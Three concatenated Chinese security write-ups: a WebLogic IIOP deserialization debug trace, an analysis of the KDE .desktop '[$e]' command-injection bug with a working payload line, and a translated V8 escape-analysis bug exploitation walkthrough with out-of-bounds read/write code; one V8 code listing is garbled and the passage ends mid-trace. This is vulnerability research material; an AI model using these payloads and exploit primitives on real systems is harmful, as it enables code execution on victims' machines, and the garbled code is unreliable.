传输的数据中没有aced魔术头,这里不是使用ObjectOutputStream序列化的数据。在客户端和服务端开始位置都DEBUG看下。
先列出客户端的调用栈
writeObject:12, Message
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeObjectWriter:624, IIOPOutputStream (com.sun.corba.se.impl.io)
outputObject:590, IIOPOutputStream (com.sun.corba.se.impl.io)
simpleWriteObject:174, IIOPOutputStream (com.sun.corba.se.impl.io)
writeValueInternal:236, ValueHandlerImpl (com.sun.corba.se.impl.io)
writeValueWithVersion:218, ValueHandlerImpl (com.sun.corba.se.impl.io)
writeValue:150, ValueHandlerImpl (com.sun.corba.se.impl.io)
writeRMIIIOPValueType:807, CDROutputStream_1_0 (com.sun.corba.se.impl.encoding)
write_value:856, CDROutputStream_1_0 (com.sun.corba.se.impl.encoding)
write_value:870, CDROutputStream_1_0 (com.sun.corba.se.impl.encoding)
write_value:665, CDROutputStream_1_0 (com.sun.corba.se.impl.encoding)
write_value:250, CDROutputStream (com.sun.corba.se.impl.encoding)
sayHello:-1, _HelloInterface_Stub
main:26, HelloClient
_HelloInterface_Stub这个class是执行rmic -iiop命令生成的
sayHello方法会从request中获取数据,然后执行CDROutputStream.write_value方法会执行到IIOPOutputStream.invokeObjectWriter方法
这里反射调用Message.writeObject方法,方法参数属性是IIOPOutputStream类型,这也解释了为什么前面抓包数据中没有aced魔术头。
下面是服务端的调用栈
readObject:8, Message
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeObjectReader:1722, IIOPInputStream (com.sun.corba.se.impl.io)
inputObject:1240, IIOPInputStream (com.sun.corba.se.impl.io)
simpleReadObject:416, IIOPInputStream (com.sun.corba.se.impl.io)
readValueInternal:341, ValueHandlerImpl (com.sun.corba.se.impl.io)
readValue:307, ValueHandlerImpl (com.sun.corba.se.impl.io)
read_value:999, CDRInputStream_1_0 (com.sun.corba.se.impl.encoding)
read_value:271, CDRInputStream (com.sun.corba.se.impl.encoding)
_invoke:-1, _HelloImpl_Tie
dispatchToServant:654, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)
dispatch:205, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)
handleRequestRequest:1700, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)
handleRequest:1558, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)
handleInput:940, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)
callback:198, RequestMessage_1_2 (com.sun.corba.se.impl.protocol.giopmsgheaders)
handleRequest:712, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)
dispatch:474, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)
doWork:1237, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)
performWork:490, ThreadPoolImpl$WorkerThread (com.sun.corba.se.impl.orbutil.threadpool)
run:519, ThreadPoolImpl$WorkerThread (com.sun.corba.se.impl.orbutil.threadpool)
服务端也是利用rmic命令生成_HelloImpl_Tie的class
_HelloImpl_Tie有一个_invoke方法,读取流中的数据去执行CDRInputStream.read_value方法。然后会执行IIOPInputStream.invokeObjectReader方法,这个方法会反射执行Message.readObject方法,参数属性也是IIOPInputStream类型。
到这里就可以理解了,RMI-IIOP协议中使用IIOPOutputStream去序列化数据,字节流与ObjectOutputStream序列化数据不太一样。
发送poc看下weblogic调用链.
lookup:417, InitialContext (javax.naming)
doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)
execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke:-1, GeneratedMethodAccessor30 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
readObject:315, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:263, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
断点几个关键的地方
_NamingContextAnyImplBase.invoke方法中请求类型是bind_any,对应var5的值为0,会执行var2.read_any(),var2的值是IIOPInputStream.
会去执行AnyImpl.read_value方法
var2.kind().value()值是29会执行IIOPInputStream.read_value方法。
var14是JtaTransactionManager对象,var13是JtaTransactionManager类的序列化描述符,会执行ValueHandlerImpl.readValue方法
这里执var2是ObjectStreamClass类,var1是JtaTransactionManager对象,var6是JtaTransactionManager对象输入流数据,会执行ObjectStreamClass.readObject方法
这里会反射调用,JtaTransactionManager.readObject方法。
调试到这里就明白了,那看下weblogic怎么修复的。
下载并安装此补丁后,在发送poc会提示。
断点看下这里
可以看到JtaTransactionManager父类AbstractPlatformTransactionManager在黑名单列表里面,第一个断点处verifyClassPermitted方法的for循环会循环判断父类,所以会抛出黑名单异常警告。
* * * | 社区文章 |
**作者:[HACHp1@知道创宇404实验室](https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190809-kde45ce.html
"HACHp1@知道创宇404实验室")**
**日期: 2019/08/08**
## 漏洞简介
KDE Frameworks是一套由KDE社群所编写的库及软件框架，是KDE Plasma 5及KDE Applications
5的基础，并使用GNU通用公共许可证进行发布。其中所包含的多个独立框架提供了各种常用的功能，包括了硬件集成、文件格式支持、控件、绘图功能、拼写检查等。KDE框架目前被几个Linux发行版所采用，包括了Kubuntu、OpenMandriva、openSUSE和OpenMandriva。
2019年7月28日Dominik Penner（@zer0pwn）发现了KDE framework版本<=5.60.0时存在命令执行漏洞。
2019年8月5日Dominik
Penner在Twitter上披露了该漏洞，而此时该漏洞还是0day漏洞。此漏洞由KDesktopFile类处理.desktop或.directory文件的方式引起。如果受害者下载了恶意构造的.desktop或.directory文件，恶意文件中注入的bash代码就会被执行。
2019年8月8日，KDE社区终于在发布的更新中修复了该漏洞；在此之前的三天内，此漏洞是没有官方补丁的。
### 一些八卦
* 在Dominik Penner公开此漏洞时，并没有告诉KDE社区此漏洞，直接将该0day的攻击详情披露在了Twitter上。公布之后，KDE社区的人员与Penner之间发生了很多有意思的事情，在这里不做描述。
## 影响版本
* 内置或后期安装有KDE Frameworks版本<=5.60.0的操作系统，如Kubuntu。
## 漏洞复现
### 环境搭建
* 虚拟机镜像：kubuntu-16.04.6-desktop-amd64.iso
* KDE Framework 5.18.0
* 搭建时，注意虚拟机关闭网络，否则语言包下载十分消耗时间；此外，安装完成后进入系统要关掉iso影响，否则无法进入系统。
### 复现过程及结果
PoC有多种形式，此处使用三种方式进行复现，第1、2种为验证性复现，第3种为接近真实情况下攻击者可能使用的攻击方式。
1.PoC1：
创建一个文件名为”payload.desktop”的文件：
在文件中写入payload：
保存后打开文件管理器，写入的payload被执行：
文件内容如下：
2.PoC2：
创建一个文件名为” .directory”的文件：
使用vi写入内容（此处有坑，KDE的vi输入backspace键会出现奇怪的反应，很不好用）：
写入payload：
保存后打开文件管理器，payload被成功执行：
3.PoC3：
攻击者在本机启动NC监听：
攻击者将payload文件打包挂载至Web服务器中，诱导受害者下载：
受害者解压文件：
解压后，payload会被执行，攻击者接收到反连的Shell：
* 漏洞影响：虽然直接下载文件很容易引起受害者注意，但攻击者可以将恶意文件打包为压缩文件并使用社会工程学诱导受害者解开压缩包。不管受害者有没有打开解压后的文件，恶意代码都已经执行了，因为文件解压后KDE系统会调用桌面解析函数。此时受害者就容易中招。
## 漏洞原理简析
* 在Dominik Penner公布的细节中，对该漏洞已经有着比较详细的解释。在着手分析漏洞前，我们先学习一下Linux的desktop entry相关的知识。
### desktop entry
* XDG 桌面配置项规范为应用程序和桌面环境的菜单整合提供了一个标准方法。只要桌面环境遵守菜单规范，应用程序图标就可以显示在系统菜单中。
* 每个桌面项必须包含 Type 和 Name，还可以选择定义自己在程序菜单中的显示方式。
* 也就是说，这是一种解析桌面项的图标、名称、类型等信息的规范。
* 使用这种规范的开发项目应该通过目录下的`.directory`或`.desktop`文件记录该目录下的解析配置。
详见：<https://wiki.archlinux.org/index.php/Desktop_entries_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)>
### 漏洞的产生
KDE的桌面配置解析参考了XDG的方式，但是包含了KDE自己实现的功能；并且其实现与XDG官方定义的功能也有出入，正是此出入导致了漏洞。
在KDE文档中有如下的话（<https://userbase.kde.org/KDE_System_Administration/Configuration_Files#Shell_Expansion>）：
Shell Expansion
So called Shell Expansion can be used to provide more dynamic default values. With shell expansion the value of a configuration key can be constructed from the value of an environment variable.
To enable shell expansion for a configuration entry, the key must be followed by [$e]. Normally the expanded form is written into the users configuration file after first use. To prevent that, it is recommend to lock the configuration entry down by using [$ie].
Example: Dynamic Entries
The value for the "Email" entry is determined by filling in the values of the $USER and $HOST environment variables. When joe is logged in on joes_host this will result in a value equal to "joe@joes_host". The setting is not locked down.
[Mail Settings]
Email[$e]=${USER}@${HOST}
* 为了提供更加灵活的设置解析，KDE实现并支持了动态配置，而此处的`${USER}`尤其令人注意，该项取自环境变量，可以推测，此处与命令执行肯定有联系。
* 每当KDE桌面系统要读取图标等桌面配置时，就会调用一次`readEntry`函数；从Dominik Penner给出的漏洞细节中，可以看到追踪代码的过程。整个漏洞的执行过程如下：
首先，创建恶意文件：
payload.desktop
[Desktop Entry]
Icon[$e]=$(echo hello>~/POC.txt)
进入文件管理器，此时系统会对`.desktop`文件进行解析；进入解析Icon的流程，根据文档中的说明，参数中带有`[$e]`时会调用shell动态解析命令：
kdesktopfile.cpp:
QString KDesktopFile::readIcon() const
{
Q_D(const KDesktopFile);
return d->desktopGroup.readEntry("Icon", QString());
}
跟进，发现调用了`KConfigPrivate::expandString(aValue)`：
kconfiggroup.cpp:
QString KConfigGroup::readEntry(const char *key, const QString &aDefault) const
{
Q_ASSERT_X(isValid(), "KConfigGroup::readEntry", "accessing an invalid group");
bool expand = false;
// read value from the entry map
QString aValue = config()->d_func()->lookupData(d->fullName(), key, KEntryMap::SearchLocalized,
&expand);
if (aValue.isNull()) {
aValue = aDefault;
}
if (expand) {
return KConfigPrivate::expandString(aValue);
}
return aValue;
}
再跟进，结合之前对KDE官方文档的解读，此处是对动态命令的解析过程，程序会把字符串中第一个出现的`$(`与第一个出现的`)`之间的部分截取出来，作为命令，然后调用`popen`执行：
kconfig.cpp
QString KConfigPrivate::expandString(const QString &value)
{
QString aValue = value;
// check for environment variables and make necessary translations
int nDollarPos = aValue.indexOf(QLatin1Char('$'));
while (nDollarPos != -1 && nDollarPos + 1 < aValue.length()) {
// there is at least one $
if (aValue[nDollarPos + 1] == QLatin1Char('(')) {
int nEndPos = nDollarPos + 1;
// the next character is not $
while ((nEndPos <= aValue.length()) && (aValue[nEndPos] != QLatin1Char(')'))) {
nEndPos++;
}
nEndPos++;
QString cmd = aValue.mid(nDollarPos + 2, nEndPos - nDollarPos - 3);
QString result;
// FIXME: wince does not have pipes
#ifndef _WIN32_WCE
FILE *fs = popen(QFile::encodeName(cmd).data(), "r");
if (fs) {
QTextStream ts(fs, QIODevice::ReadOnly);
result = ts.readAll().trimmed();
pclose(fs);
}
#endif
自此，漏洞利用过程中的代码执行流程分析完毕；可以看到KDE在解析桌面设置时，以直接使用执行系统命令获取返回值的方式动态获得操作系统的一些参数值；为了获得诸如`${USER}`这样的系统变量直接调用系统命令，这个做法是不太妥当的。
## 官方修补方案分析
* 官方在最新版本中给出了简单粗暴的修复手段，直接删除了popen函数和其执行过程，从而除去了调用popen动态解析`[e]`属性的功能：
* 此外，官方还不忘吐槽了一波：
Summary:
It is very unclear at this point what a valid use case for this feature
would possibly be. The old documentation only mentions $(hostname) as
an example, which can be done with $HOSTNAME instead.
## 总结
* 个人认为这个漏洞在成因以外的地方有着更大的意义。首先，不太清楚当初编写KDE框架的开发人员的用意，也许是想让框架更灵活；但是在文档的使用用例中，只是为了获取`${USER}`变量的值而已。在命令执行上有些许杀鸡用牛刀的感觉。
* 从这个漏洞可以看出灵活性与安全性在有的时候是互相冲突的，灵活性高，也意味着更有可能出现纰漏，这给开发人员更多的警示。
* 漏洞发现者在没有通知官方的情况下直接公布了漏洞细节，这个做法比较有争议。在发现漏洞时，首先将0day交给谁也是个问题，个人认为可以将漏洞提交给厂商，待其修复后再商议是否要公布。可能国际上的hacker思维与国内有着比较大的差异，在Dominik Penner的Twitter下竟然有不少的人支持他提前公布0day，他自己也解释是想要在defcon开始之前提交自己的0day，这个做法以及众人的反应值得去品味。
## 参考资料
* [漏洞细节](https://gist.github.com/zeropwn/630832df151029cb8f22d5b6b9efaefb)
* [发现者推特](https://twitter.com/zer0pwn/status/1158167374799020039)
* [演示视频](https://www.youtube.com/watch?v=l4z7EOQQs84)
* [官方修复细节](https://mail.kde.org/pipermail/kde-announce/2019-August/000047.html)
* [修复补丁](https://cgit.kde.org/kconfig.git/commit/?id=5d3e71b1d2ecd2cb2f910036e614ffdfc895aa22)
* * * | 社区文章 |
原文：[Exploiting an Accidentally Discovered V8
RCE](https://zon8.re/posts/exploiting-an-accidentally-discovered-v8-rce/)
作者：[0x4848](https://zon8.re/page/about/)
* * *
> 请从现在开始睁开你的双眼，不要忽略系统中发生的任何崩溃...
>
>
> 花些时间看看发生了什么，如果你在浏览网页时浏览器却突然消失了，再次访问该页面，浏览器又崩溃了，那么你一定想知道这个网页做了什么...打开调试器看看，找到发生了什么，不要忽略任何现象。
>
> 大多数人每天都会碰到漏洞，只是他们没有意识到，所以现在开始，观察...
>
> ——[Halvar and FX - Take it from here - Defcon
> 12](https://youtu.be/Jwot7S6NmLE?t=107)
## 前言
为了更好的了解浏览器的内部结构以及exploit的开发，查看旧的漏洞，尝试根据其PoC或者漏洞报告编写相应的exploit是很有帮助的。[Issue
744584: Fatal error in ../../v8/src/compiler/representation-change.cc](https://bugs.chromium.org/p/chromium/issues/detail?id=744584)这个问题很有意思。首先，目前还没有为这个漏洞写的exploit。其次，这个漏洞是偶然发现的，漏洞提交者是一个开发人员，他是为了修复崩溃的应用程序才向Chromium团队报告了这个问题，而不是因为他正在挖掘漏洞。事情恰好就这么发生了，他在Chrome中发现了一个潜在的0-day漏洞。考虑到这些因素，这个漏洞很值得深入研究。
这也说明Halver和FX在Defon 12上说的话是正确的。
## 漏洞报告
[漏洞报告](https://bugs.chromium.org/p/chromium/issues/detail?id=744584)中没有提供PoC，而且除了一个崩溃的跟踪记录外，几乎没有任何关于该漏洞的其他信息。
UserAgent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Steps to reproduce the problem:
Unfortunately I could not isolate the problem for an easy repro.
I have a JS app of around 3mb minified and the browser crashes at what seem to be random times (I suppose whenever it decides to optimize the problematic function)
What is the expected behavior?
not crash
What went wrong?
Fatal error in ../../v8/src/compiler/representation-change.cc, line 1055
RepresentationChangerError: node #812:Phi of kRepFloat64 (Number) cannot be changed to kRepWord32
STACK_TEXT:
0x0
v8_libbase!v8::base::OS::Abort+0x11
v8_libbase!V8_Fatal+0x91
v8!v8::internal::compiler::RepresentationChanger::TypeError+0x1d9
v8!v8::internal::compiler::RepresentationChanger::GetWord32RepresentationFor+0x18d
v8!v8::internal::compiler::RepresentationChanger::GetRepresentationFor+0x28d
v8!v8::internal::compiler::RepresentationSelector::ConvertInput+0x19d
v8!v8::internal::compiler::RepresentationSelector::VisitPhi+0x12c
v8!v8::internal::compiler::RepresentationSelector::VisitNode+0x31f
v8!v8::internal::compiler::RepresentationSelector::Run+0x4ea
v8!v8::internal::compiler::SimplifiedLowering::LowerAllNodes+0x4c
v8!v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::SimplifiedLoweringPhase>+0x70
v8!v8::internal::compiler::PipelineImpl::OptimizeGraph+0x29f
v8!v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl+0x20
v8!v8::internal::CompilationJob::ExecuteJob+0x1a3
v8!v8::internal::OptimizingCompileDispatcher::CompileTask::Run+0x110
gin!base::internal::FunctorTraits<void (__cdecl v8::Task::*)(void) __ptr64,void>::Invoke<v8::Task * __ptr64>+0x1a
gin!base::internal::InvokeHelper<0,void>::MakeItSo<void (__cdecl v8::Task::*const & __ptr64)(void) __ptr64,v8::Task * __ptr64>+0x37
gin!base::internal::Invoker<base::internal::BindState<void (__cdecl v8::Task::*)(void) __ptr64,base::internal::OwnedWrapper<v8::Task> >,void __cdecl(void)>::RunImpl<void (__cdecl v8::Task::*const & __ptr64)(void) __ptr64,std::tuple<base::internal::OwnedWrapper<v8::Task> > const & __ptr64,0>+0x49
gin!base::internal::Invoker<base::internal::BindState<void (__cdecl v8::Task::*)(void) __ptr64,base::internal::OwnedWrapper<v8::Task> >,void __cdecl(void)>::Run+0x33
base!base::Callback<void __cdecl(void),0,0>::Run+0x40
base!base::debug::TaskAnnotator::RunTask+0x2fd
base!base::internal::TaskTracker::PerformRunTask+0x74b
base!base::internal::TaskTracker::RunNextTask+0x1ea
base!base::internal::SchedulerWorker::Thread::ThreadMain+0x4b9
base!base::`anonymous namespace'::ThreadFunc+0x131
KERNEL32!BaseThreadInitThunk+0x14
ntdll!RtlUserThreadStart+0x21
Did this work before? N/A
Chrome version: 61.0.3158.0 Channel: canary
OS Version: 10.0
Flash Version: Shockwave Flash 25.0 r0
漏洞的提交者（Marco Giovannini）确实曾在评论中提供了PoC，但是后来又删除了，因为其中包含了部分他的应用程序中的代码。
因为这是一个已修复的n-day漏洞，我们可以直接查看修复漏洞过程中更改记录，以及相关的测试代码。
在更改记录中提供了两个测试代码：
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
function f(x) {
var o = {a : 0};
var l = [1,2,3,4];
var res;
for (var i = 0; i < 3; ++i) {
if (x%2 == 0) { o.a = 1; b = false}
res = l[o.a];
o.a = x;
}
return res;
}
f(0);
f(1);
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
assertEquals(undefined, f(101));
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax --turbo-escape
function f(x) {
var o = {a : 0, b: 0};
if (x == 0) {
o.a = 1
} else {
if (x <= 1) {
if (x == 2) {
o.a = 2;
} else {
o.a = 1
}
o.a = 2;
} else {
if (x == 2) {
o.a = "x";
} else {
o.a = "x";
}
o.b = 22;
}
o.b = 22;
}
return o.a + 1;
}
f(0,0);
f(1,0);
f(2,0);
f(3,0);
f(0,1);
f(1,1);
f(2,1);
f(3,1);
%OptimizeFunctionOnNextCall(f);
assertEquals(f(2), "x1");
## 分析
_强制免责申明——我并不是V8代码库的专家，所以关于漏洞存在的原因，我的结论可能并不十分正确。_
存在漏洞的代码存位于`VirtualObject::MergeFields`函数中，该函数是Turbofan JIT的逃逸分析(Escape
Analysis)阶段。
>
> “在编译器优化中，逃逸分析是一种确定指针动态范围的方法，即它可以确定程序中指针可以访问的区域。它与指针分析以及形状分析有关。——[维基百科](https://en.wikipedia.org/wiki/Escape_analysis)”
在V8中，Turbofan使用逃逸分析对绑定到函数上的对象进行优化。如果对象没有逃出函数的生存周期，那么就不需要在堆上分配它，V8可以将其视为函数的本地变量，从而存储在栈或者寄存器上，或者将它完全优化掉。
请参阅下面的V8 Turbofan条款，后面还会继续引用这些条款：
* Branch是条件控制流，程序执行到这里分成两个节点；
* Merge将分支两侧的两个控制节点合并；
* Phi将分支两侧计算的值合并。
下面的merge函数根据之前在缓存中看到的类型创建了一个Phi。看起来漏洞存在的原因是因为函数错误地计算了类型，因此攻击者控制的值的类型与已编译函数期望的类型不同。
bool VirtualObject::MergeFields(size_t i, Node* at, MergeCache* cache,
Graph* graph, CommonOperatorBuilder* common) {
bool changed = false;
int value_input_count = static_cast<int>(cache->fields().size());
Node* rep = GetField(i);
if (!rep || !IsCreatedPhi(i)) {
Type* phi_type = Type::None();
for (Node* input : cache->fields()) {
CHECK_NOT_NULL(input);
CHECK(!input->IsDead());
Type* input_type = NodeProperties::GetType(input);
phi_type = Type::Union(phi_type, input_type, graph->zone());
}
Node* control = NodeProperties::GetControlInput(at);
cache->fields().push_back(control);
Node* phi = graph->NewNode(
common->Phi(MachineRepresentation::kTagged, value_input_count),
value_input_count + 1, &cache->fields().front());
NodeProperties::SetType(phi, phi_type);
SetField(i, phi, true);
#ifdef DEBUG
if (FLAG_trace_turbo_escape) {
PrintF(" Creating Phi #%d as merge of", phi->id());
for (int i = 0; i < value_input_count; i++) {
PrintF(" #%d (%s)", cache->fields()[i]->id(),
cache->fields()[i]->op()->mnemonic());
}vp, n);
if (old != cache->fields()[n]) {
changed = true;
NodeProperties::ReplaceValueInput(rep, cache->fields()[n], n);
}
}
}
return changed;
}
## Turbolizer分析
我们首先在Turbolizer中查看函数图。在消除负载(Load Eliminated)阶段，漏洞还未发生，程序流程如图所示，我添加了一些注释用来说明：
在这之后是Merge，可以看到这里有一个边界检查，然后是`LoadElement`节点，在这里查找`l[0.a]`。在这个阶段，漏洞还没有发生，查找顺利进行。
接下来，我们在漏洞发生的逃逸分析阶段后寻找差异。可以看到`Phi[kRepTagged]
Range(0,1)`被加到了`CheckBounds`和`LoadElement`之前。因为Turbofan
在前面的执行过程中发现值只能是0或1，所以编译器将类型设置为`Range(0,1)`。
最后我们看下一个阶段，简化降低(Simplified Lowering)阶段，看起来因为期望类型是Range(0,1)，边界检查被优化删除掉了：
缺少边界检查使我们可以读写超出数组边界的部分。
## Exploitation
刚开始看第一个测试用例的时候，发现它是通过验证f(101)未定义，来确认无法越界读取数组的。
为了验证该猜想，可以在有漏洞的V8版本上运行该PoC，把assertEquals替换为print。
function f(x) {
var o = {a : 0};
var l = [1,2,3,4]
var res;
for (var i = 0; i < 3; ++i) {
if (x%2 == 0) { o.a = 1; b = false}
res = l[o.a];
o.a = x;
}
return res;
}
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
print(f(101))
./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
#
# Fatal error in ../v8/src/objects.h, line 1584
# Debug check failed: !IsSmi() == Internals::HasHeapObjectTag(this) (1 vs. 0).
#
==== C stack trace ===============================
/home/zon8/accidentalnday/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x13) [0x7efdae48d363]
/home/zon8/accidentalnday/./libv8_libplatform.so(+0x7d8b) [0x7efdae46cd8b]
/home/zon8/accidentalnday/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0xdc) [0x7efdae4891fc]
/home/zon8/accidentalnday/./libv8.so(+0x1ad31a) [0x7efdad52a31a]
./d8(+0x124cb) [0x55574932a4cb]
./d8(+0x125ee) [0x55574932a5ee]
/home/zon8/accidentalnday/./libv8.so(+0x18cee2) [0x7efdad509ee2]
/home/zon8/accidentalnday/./libv8.so(+0x26b895) [0x7efdad5e8895]
/home/zon8/accidentalnday/./libv8.so(+0x26a1a9) [0x7efdad5e71a9]
[0x268f68a044c4]
Received signal 4 ILL_ILLOPN 7efdae48c012
[1] 4436 illegal hardware instruction (core dumped) ./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental
由于脚本尝试将nonSMI值读取到`PACKED_SMI_ELEMENTS`数组中，得到错误信息`Debug check failed: !IsSmi()
== Internals::HasHeapObjectTag(this) (1 vs.
0).`如果把`l`改为double数组或者准确的说是`PACKED_DOUBLE_ELEMENTS`数组，应该就可以读取该值了。
function f(x) {
var o = {a : 0};
var l = [1.1,2.2,3.3,4.4];
var res;
for (var i = 0; i < 3; ++i) {
if (x%2 == 0) { o.a = 1; b = false}
res = l[o.a];
o.a = x;
}
return res;
}
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
print(f(101))
./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
-1.1885946300594787e+148
脚本返回了`-1.1885946300594787e+148`，说明这个漏洞可以用来越界读。下一步是通过越界写覆盖相邻数组的length值，从而生成`addr_of`和`fake_obj`。
但在此之前，首先要计算出距离相邻数组length值的偏移量。通过反复实验，或者使用GDB可以很轻松的计算出该值。
var l = [1.1,2.2,3.3,4.4];
var oob_array = new Array(20);
oob_array[0]=5.5;
oob_array[1]= 6.6;
通过反复实验，可以定位相邻数组的第二个元素。
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
6.6
JSArray元素指针的布局（针对数组[1,2,3]）如下所示：
0x3be95438dcd0: 0x0000000300000000 <- Length
0x3be95438dcd8: 0x0000000100000000 <- Element[0]
0x3be95438dce0: 0x0000000200000000 <- Element[1]
0x3be95438dce8: 0x0000000300000000 <- Element[2]
意思就是说，如果我们获得了第二个元素（6.6）的偏移量，减去2就是length的偏移量。
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
4.24399158193e-313
返回值`4.24399158193e-313`需要从double类型转为SMI类型。可以使用[Saelo’s Int64
library](https://github.com/saelo/jscpwn/blob/master/int64.js)以及一些自定义函数将SMI类型转化为Integer类型：
function int_to_smi(val) {
z=0
return "0x" + val.toString(16).padStart(8,'0') + z.toString(16).padStart(8,'0')
}
function smi_to_int(val) {
val = val.toString()
if (!val.startsWith("0x")) {
throw("Does not start with 0x");
}
val = val.substring(2)
val = val.slice(0,-8)
print(val)
val = Number("0x"+val)
return val
}
%OptimizeFunctionOnNextCall(f);
res = Int64.fromDouble(f(9));
print(smi_to_int(res))
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
20
结果是整数型`20`，说明数组长度被找到了。
现在可以用上面的方法覆盖数组的length值，从而创建出一个可以越界读写的数组。
一开始我尝试用我们的辅助函数来实现这一点，如下所示：
initial_oob_array[o.a] = new Int64(int_to_smi(65535)).asDouble();
o.a = x;
}
return res;
然而，这些辅助函数的新增功能会导致JIT优化不足，从而破坏整个exploit。可以添加`--trace-deopt`标志来验证这一点。
➜ accidentalnday ../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
[deoptimizing (DEOPT eager): begin 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)> (opt #0) @36, FP to SP delta: 136, caller sp: 0x7fff6cfe2fe0]
;;; deoptimize at <bug.js:163:28>, out of bounds
// Convenience functions. These allocate a new Int64 to hold the result.
reading input frame f => bytecode_offset=146, args=2, height=11; inputs:
0: 0x1ad49b9ad3a9 ; [fp - 16] 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)>
1: 0x25e9267033e1 ; [fp + 24] 0x25e9267033e1 <JSGlobal Object>
2: 0x700000000 ; [fp + 16] 7
3: 0x1ad49b983d91 ; [fp - 8] 0x1ad49b983d91 <FixedArray[278]>
4: 0x25e92671e4e1 ; [fp - 24] 0x25e92671e4e1 <Object map = 0x2c688bf8e0c9>
5: 0x25e92671e531 ; rcx 0x25e92671e531 <JSArray[4]>
6: 0x384e6fd82311 ; (literal 5) 0x384e6fd82311 <undefined>
7: 1 ; (int) [fp - 40]
8: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
9: 0x700000000 ; [fp - 48] 7
10: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
11: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
12: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
13: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
14: 0x25e92671fec1 ; rax 0x25e92671fec1 <Number 1.39065e-309>
translating interpreted frame f => bytecode_offset=146, height=88
0x7fff6cfe2fd8: [top + 152] <- 0x25e9267033e1 ; 0x25e9267033e1 <JSGlobal Object> (input #1)
0x7fff6cfe2fd0: [top + 144] <- 0x700000000 ; 7 (input #2)
------------------------- 0x7fff6cfe2fc8: [top + 136] <- 0xe6f4b9f7592 ; caller's pc
0x7fff6cfe2fc0: [top + 128] <- 0x7fff6cfe2fe8 ; caller's fp
0x7fff6cfe2fb8: [top + 120] <- 0x1ad49b983d91 ; context 0x1ad49b983d91 <FixedArray[278]> (input #3)
